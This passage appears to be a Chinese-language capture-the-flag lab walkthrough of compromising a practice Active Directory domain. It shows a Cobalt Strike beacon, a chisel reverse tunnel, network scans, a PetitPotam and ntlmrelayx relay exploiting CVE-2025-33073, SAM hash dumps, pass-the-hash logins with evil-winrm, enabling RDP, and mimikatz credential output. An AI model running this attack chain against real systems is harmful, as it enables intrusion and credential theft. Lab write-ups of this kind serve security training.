* Username : CYBERWEB$
* Domain : CYBERSTRIKELAB
* Password : (null)
kerberos :
* Username : cyberweb$
* Domain : CYBERSTRIKELAB.COM
* Password : (null)
ssp :
credman : 域用户-cslabwow
cslabwow : cyber@w0w
flag2
beacon> shell type c:\flag.txt
[*] Tasked beacon to run: type c:\flag.txt
[+] host called home, sent: 47 bytes
[+] received output:
_____ _______ _
/ ____| |__ __(_)
| | __ _ __ ___ ___ _ __ | | _ __ _ ___ _ __
| | |_ | '__/ _ \/ _ \ '_ \| | | |/ _` |/ _ \ '__|
| |__| | | | __/ __/ | | | | | | (_| | __/ |
\_____|_| \___|\___|_| |_|_| |_|\__, |\___|_|
__/ |
|___/
GreenTiger-cslab{619efd71fd3d2d}ipconfig
beacon> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 39 bytes
[+] received output:
Windows IP 配置
以太网适配器 以太网实例 1:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::dc39:489b:db12:5aed%10
IPv4 地址 . . . . . . . . . . . . : 172.6.6.8
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 172.6.6.1
以太网适配器 以太网实例 0:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::746c:9d24:61c0:b4df%2
IPv4 地址 . . . . . . . . . . . . : 10.8.8.12
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 10.8.8.1
隧道适配器 isatap.{9F409EAD-B619-4D00-835A-7986E8D4E8C4}:
媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :
隧道适配器 isatap.{038A01B8-74A7-44CA-8D2A-BFE42E90C518}:
媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :
一个新的网段
二层代理
搭建二层代理
172.6.6.8
beacon> shell chisel.exe client http://172.6.6.5:12345 R:0.0.0.0:1080:socks
[*] Tasked beacon to run: chisel.exe client http://172.6.6.5:12345 R:0.0.0.0:1080:socks
[+] host called home, sent: 92 bytes172.6.6.5
PS C:\Users\Administrator\Desktop> .\chisel.exe server --reverse -p 12345
2025/07/02 12:51:54 server: Reverse tunnelling enabled
2025/07/02 12:51:54 server: Fingerprint JuYuAnx7guSxtxTYjesfK0pWt5ryMPyKCylmU8QXkJM=
2025/07/02 12:51:54 server: Listening on http://0.0.0.0:12345
2025/07/02 12:52:54 server: session#1: tun: proxy#R:1080=>socks: Listening在创建一条chain
移动到最上面
fscan-10.8.8.12/24
❯ cat result.txt
[+] 端口开放 10.8.8.60:139
[+] 端口开放 10.8.8.55:139
[+] 端口开放 10.8.8.60:135
[+] 端口开放 10.8.8.55:135
[+] 端口开放 10.8.8.55:88
[+] 端口开放 10.8.8.60:80
[+] 端口开放 10.8.8.55:53
[+] 端口开放 10.8.8.60:21
[+] 端口开放 10.8.8.55:464
[+] 端口开放 10.8.8.55:445
[+] 端口开放 10.8.8.60:445
[+] 端口开放 10.8.8.55:389
[+] 端口开放 10.8.8.55:593
[+] 端口开放 10.8.8.55:636
[+] 端口开放 10.8.8.55:3269
[+] 端口开放 10.8.8.55:3268
[+] 端口开放 10.8.8.60:5985
[+] 端口开放 10.8.8.55:5985
[+] 端口开放 10.8.8.60:8531
[+] 端口开放 10.8.8.60:8530
[+] 端口开放 10.8.8.55:9389
[+] 端口开放 10.8.8.55:47001
[+] 端口开放 10.8.8.60:47001
[+] 端口开放 10.8.8.60:49667
[+] 端口开放 10.8.8.60:49666
[+] 端口开放 10.8.8.55:49666
[+] 端口开放 10.8.8.60:49665
[+] 端口开放 10.8.8.55:49665
[+] 端口开放 10.8.8.55:49664
[+] 端口开放 10.8.8.60:49664
[+] 端口开放 10.8.8.60:49670
[+] 端口开放 10.8.8.55:49670
[+] 端口开放 10.8.8.60:49669
[+] 端口开放 10.8.8.55:49669
[+] 端口开放 10.8.8.60:49668
[+] 端口开放 10.8.8.55:49668
[+] 端口开放 10.8.8.60:49671
[+] 端口开放 10.8.8.55:49671
[+] 端口开放 10.8.8.55:49678
[+] 端口开放 10.8.8.55:49677
[+] 端口开放 10.8.8.55:49688
[+] 端口开放 10.8.8.55:49710
[*] NetInfo
[*] 10.8.8.60
[->] web2
[->] 10.8.8.60
[*] NetInfo
[*] 10.8.8.55
[->] DC
[->] 10.8.8.55
[*] OsInfo 10.8.8.55 (Windows Server 2016 Standard 14393)
[*] 网站标题 http://10.8.8.55:47001 状态码:404 长度:315 标题:Not Found
[*] 网站标题 http://10.8.8.55:5985 状态码:404 长度:315 标题:Not Found
[*] 网站标题 http://10.8.8.60:5985 状态码:404 长度:315 标题:Not Found
[*] 网站标题 http://10.8.8.60:47001 状态码:404 长度:315 标题:Not Found
[*] NetBios 10.8.8.60 web2.cyberstrikelab.com Windows Server 2016 Standard 14393
[*] 网站标题 http://10.8.8.60:8530 状态码:200 长度:0 标题:无标题
[*] 网站标题 http://10.8.8.60 状态码:200 长度:703 标题:IIS Windows Serverbloodhound
❯ bloodhound-python -u cslabwow -p 'cyber@w0w' -dc dc.cyberstrikelab.com -d cyberstrikelab.com -ns 10.8.8.55 --zip -c All --dns-tcp
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
INFO: Found AD domain: cyberstrikelab.com
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno 53] Software caused connection abort
INFO: Connecting to LDAP server: dc.cyberstrikelab.com
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
INFO: Connecting to LDAP server: dc.cyberstrikelab.com
INFO: Found 7 users
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
INFO: Found 53 groups
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
INFO: Found 3 gpos
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
INFO: Found 1 ous
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
/opt/homebrew/lib/python3.12/site-packages/bloodhound-1.7.2-py3.12.egg/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-'
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: web2.cyberstrikelab.com
INFO: Querying computer: cyberweb.cyberstrikelab.com
INFO: Querying computer: DC.cyberstrikelab.com
INFO: Done in 00M 16S
INFO: Compressing output into 20250702210048_bloodhound.zip这个用户就是普通用户没有什么特别的,没看到什么特别的利用路径
autologin
�X�T�T�T�T�T�T�T�T�T�T�g Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultUserName : administrator
DefaultPassword : cs1ab@mi又看到一个密码
10.8.8.60-web2
WSUS
beacon> shell reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
[*] Tasked beacon to run: reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
[+] host called home, sent: 109 bytes
[+] received output:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://10.8.8.60:8530
WUStatusServer REG_SZ http://10.8.8.60:8530
UpdateServiceUrlAlternate REG_SZ http://10.8.8.60:8530
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU这台机器就是WSUS 服务器
我们想办法拿到他的权限
前段时间不是刚好有一个 ntlm Relay 的RCE漏洞吗
禁用服务-重启电脑
先把10.8.8.12 本身的445服务,Server这个服务,禁用后重启电脑
C:\>netstat -nao|findstr 445
TCP 127.0.0.1:5445 0.0.0.0:0 LISTENING 2720
C:\>
cve-2025-33073
┌──(kali㉿kali)-[~/Desktop/tool/CVE-2025-33073/CVE-2025-33073-main]
└─$ python3 ./dnstool.py -u cyberstrikelab.com\\cslabwow -p cyber@w0w -r web21UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.8.8.12 -a add 10.8.8.55 --tcp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
❯ python3 ./ntlmrelayx.py -t 10.8.8.60 -ts -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[2025-07-03 00:30:32] [*] Protocol Client SMTP loaded..
[2025-07-03 00:30:32] [*] Protocol Client SMB loaded..
[2025-07-03 00:30:32] [*] Protocol Client RPC loaded..
[2025-07-03 00:30:32] [*] Protocol Client LDAPS loaded..
[2025-07-03 00:30:32] [*] Protocol Client LDAP loaded..
[2025-07-03 00:30:32] [*] Protocol Client HTTPS loaded..
[2025-07-03 00:30:32] [*] Protocol Client HTTP loaded..
[2025-07-03 00:30:32] [*] Protocol Client MSSQL loaded..
[2025-07-03 00:30:32] [*] Protocol Client IMAPS loaded..
[2025-07-03 00:30:32] [*] Protocol Client IMAP loaded..
[2025-07-03 00:30:32] [*] Protocol Client DCSYNC loaded..
[2025-07-03 00:30:32] [*] Running in relay mode to single host
[2025-07-03 00:30:32] [*] Setting up SMB Server on port 445
[2025-07-03 00:30:32] [*] Setting up HTTP Server on port 80
Exception in thread Thread-2:
Traceback (most recent call last):
File "/opt/homebrew/Cellar/python@3.12/3.12.5/Frameworks/Python.framework/Versions/3.12/lib/python3.12/threading.py", line 1075, in _bootstrap_inner
self.run()
File "/Users/test/Documents/htb/pyenv/htbpyenv/lib/python3.12/site-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 572, in run
self.server = self.HTTPServer((self.config.interfaceIp, self.config.listeningPort), self.HTTPHandler, self.config)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Users/test/Documents/htb/pyenv/htbpyenv/lib/python3.12/site-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 47, in __init__
socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass)
File "/opt/homebrew/Cellar/python@3.12/3.12.5/Frameworks/Python.framework/Versions/3.12/lib/python3.12/socketserver.py", line 457, in __init__
self.server_bind()
File "/opt/homebrew/Cellar/python@3.12/3.12.5/Frameworks/Python.framework/Versions/3.12/lib/python3.12/socketserver.py", line 473, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 48] Address already in use
[2025-07-03 00:30:32] [*] Setting up WCF Server on port 9389
[2025-07-03 00:30:32] [*] Setting up RAW Server on port 6666
[2025-07-03 00:30:32] [*] Servers started, waiting for connections
端口转发
在我们的攻击机执行
❯ ./chisel_1.10.0_darwin_arm64 client 10.8.8.12:12345 R:445:127.0.0.1:445
2025/07/03 00:56:57 client: Connecting to ws://10.8.8.12:12345
2025/07/03 00:56:58 client: Connected (Latency 71.417041ms)
那么我们本地445端口会转发到 10.8.8.12 的445
在10.8.8.12执行
PS C:\Users\Administrator\Desktop> .\chisel.exe server --reverse -p 12345
2025/07/02 16:24:00 server: Reverse tunnelling enabled
2025/07/02 16:24:00 server: Fingerprint xN9dwfV5X8sOWXAW1tsmmDGA008tkI3CN4k0zAaaP68=
2025/07/02 16:24:00 server: Listening on http://0.0.0.0:12345
2025/07/02 16:29:11 server: session#28: tun: proxy#R:445=>445: Listeningpetitpotam
这样我们才通过强制认证就可以利用漏洞了
❯ python3 PetitPotam.py "web21UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" 10.8.8.60 -dc-ip 10.8.8.55 -d cyberstrikelab.com -u cslabwow -p 'cyber@w0w'
/Users/test/Desktop/tool/PetitPotam/PetitPotam.py:20: SyntaxWarning: invalid escape sequence '\ '
show_banner = '''
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
Trying pipe lsarpc
[-] Connecting to ncacn_np:10.8.8.60[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!❯ python3 ./ntlmrelayx.py -t 10.8.8.60 -ts -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[2025-07-03 00:57:24] [*] Protocol Client SMTP loaded..
[2025-07-03 00:57:24] [*] Protocol Client SMB loaded..
[2025-07-03 00:57:24] [*] Protocol Client RPC loaded..
[2025-07-03 00:57:24] [*] Protocol Client LDAP loaded..
[2025-07-03 00:57:24] [*] Protocol Client LDAPS loaded..
[2025-07-03 00:57:24] [*] Protocol Client HTTPS loaded..
[2025-07-03 00:57:24] [*] Protocol Client HTTP loaded..
[2025-07-03 00:57:24] [*] Protocol Client MSSQL loaded..
[2025-07-03 00:57:24] [*] Protocol Client IMAP loaded..
[2025-07-03 00:57:24] [*] Protocol Client IMAPS loaded..
[2025-07-03 00:57:24] [*] Protocol Client DCSYNC loaded..
[2025-07-03 00:57:25] [*] Running in relay mode to single host
[2025-07-03 00:57:25] [*] Setting up SMB Server on port 445
[2025-07-03 00:57:25] [*] Setting up HTTP Server on port 80
Exception in thread Thread-2:
Traceback (most recent call last):
File "/opt/homebrew/Cellar/python@3.12/3.12.5/Frameworks/Python.framework/Versions/3.12/lib/python3.12/threading.py", line 1075, in _bootstrap_inner
self.run()
File "/Users/test/Documents/htb/pyenv/htbpyenv/lib/python3.12/site-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 572, in run
self.server = self.HTTPServer((self.config.interfaceIp, self.config.listeningPort), self.HTTPHandler, self.config)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/Users/test/Documents/htb/pyenv/htbpyenv/lib/python3.12/site-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 47, in __init__
socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass)
File "/opt/homebrew/Cellar/python@3.12/3.12.5/Frameworks/Python.framework/Versions/3.12/lib/python3.12/socketserver.py", line 457, in __init__
self.server_bind()
File "/opt/homebrew/Cellar/python@3.12/3.12.5/Frameworks/Python.framework/Versions/3.12/lib/python3.12/socketserver.py", line 473, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 48] Address already in use
[2025-07-03 00:57:25] [*] Setting up WCF Server on port 9389
[2025-07-03 00:57:25] [*] Setting up RAW Server on port 6666
[2025-07-03 00:57:25] [*] Servers started, waiting for connections
[2025-07-03 00:57:34] [*] SMBD-Thread-5 (process_request_thread): Received connection from 127.0.0.1, attacking target smb://10.8.8.60
[2025-07-03 00:57:34] [*] Authenticating against smb://10.8.8.60 as / SUCCEED
[2025-07-03 00:57:35] [*] Service RemoteRegistry is in stopped state
[2025-07-03 00:57:35] [*] Starting service RemoteRegistry
[2025-07-03 00:57:38] [*] Target system bootKey: 0xa02707b8a40d7d32a46d8bb074a591d4
[2025-07-03 00:57:39] [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f03475186fd1b23123bca6337f0b39f1:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
admin:1004:aad3b435b51404eeaad3b435b51404ee:2de5cd0f15d1c070851d1044e1d95c90:::
[2025-07-03 00:57:50] [*] Done dumping SAM hashes for host: 10.8.8.60
[2025-07-03 00:57:50] [*] Stopping service RemoteRegistry
evil-winrm
❯ evil-winrm -i 10.8.8.60 -u administrator -H f03475186fd1b23123bca6337f0b39f1
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
成功登上该主机
flag3
❯ evil-winrm -i 10.8.8.60 -u administrator -H f03475186fd1b23123bca6337f0b39f1
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type c:\flag.txt
_____ _______ _
/ ____| |__ __(_)
| | __ _ __ ___ ___ _ __ | | _ __ _ ___ _ __
| | |_ | '__/ _ \/ _ \ '_ \| | | |/ _` |/ _ \ '__|
| |__| | | | __/ __/ | | | | | | (_| | __/ |
\_____|_| \___|\___|_| |_|_| |_|\__, |\___|_|
__/ |
|___/
GreenTiger-cslab{190063437310}
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd c:?
Cannot find path 'c:?' because it does not exist.
At line:1 char:1
+ cd c:?
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (c:?:String) [Set-Location], ItemNotFoundException
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.SetLocationCommand
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd c:/
*Evil-WinRM* PS C:\> dir
目录: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/26/2025 5:31 PM FTP
d----- 5/26/2025 2:32 PM inetpub
d----- 5/26/2025 5:13 PM PerfLogs
d-r--- 5/26/2025 2:32 PM Program Files
d----- 5/26/2025 2:32 PM Program Files (x86)
d-r--- 5/23/2025 11:12 AM Users
d----- 5/23/2025 11:11 AM Windows
d----- 5/23/2025 11:13 AM WSUS
-a---- 6/16/2025 7:52 AM 486 flag.txt
*Evil-WinRM* PS C:\>
10.8.8.55-DC
❯ evil-winrm -i 10.8.8.60 -u administrator -H f03475186fd1b23123bca6337f0b39f1
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd c:/users
*Evil-WinRM* PS C:\users> tree /f .
文件夹 PATH 列表
卷序列号为 4218-5632
C:\USERS
├─.NET v4.5
│ ├─Desktop
│ ├─Documents
│ ├─Downloads
│ ├─Favorites
│ ├─Links
│ ├─Music
│ ├─Pictures
│ ├─Saved Games
│ └─Videos
├─.NET v4.5 Classic
│ ├─Desktop
│ ├─Documents
│ ├─Downloads
│ ├─Favorites
│ ├─Links
│ ├─Music
│ ├─Pictures
│ ├─Saved Games
│ └─Videos
├─Administrator
│ ├─Contacts
│ ├─Desktop
│ ├─Documents
│ ├─Downloads
│ │ SharpWSUS.exe
│ │
│ ├─Favorites
│ │ └─Links
│ ├─Links
│ │ Desktop.lnk
│ │ Downloads.lnk
│ │
│ ├─Music
│ ├─Pictures
│ ├─Saved Games
│ ├─Searches
│ └─Videos
├─MSSQL$MICROSOFT##WID
│ ├─Desktop
│ ├─Documents
│ ├─Downloads
│ ├─Favorites
│ ├─Links
│ ├─Music
│ ├─Pictures
│ ├─Saved Games
│ └─Videos
└─Public
├─Documents
├─Downloads
├─Music
├─Pictures
└─Videos
*Evil-WinRM* PS C:\users>
可以看到Administrator 目录下存在 SharpWSUS.exe
autologon-10.8.8.60的
╔══════════╣ Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultUserName : administrator
DefaultPassword : cs1ab@wqrdp
*Evil-WinRM* PS C:\Users\Administrator\downloads> REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
操作成功完成。
打开rdp
连上来看回收站，还有fscan的扫描记录，应该是做靶场的时候留下来的
hhhh
logonpassword
Authentication Id : 0 ; 1986516 (00000000:001e4fd4)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/7/2 17:15:45
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* NTLM : 837ba10f66293f3aea1e998aa3af81aa
* SHA1 : 4b9e0217832ba31f98d47f4bf81a36c64a677561
tspkg :
wdigest :
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* Password : (null)
kerberos :
* Username : WEB2$
* Domain : cyberstrikelab.com
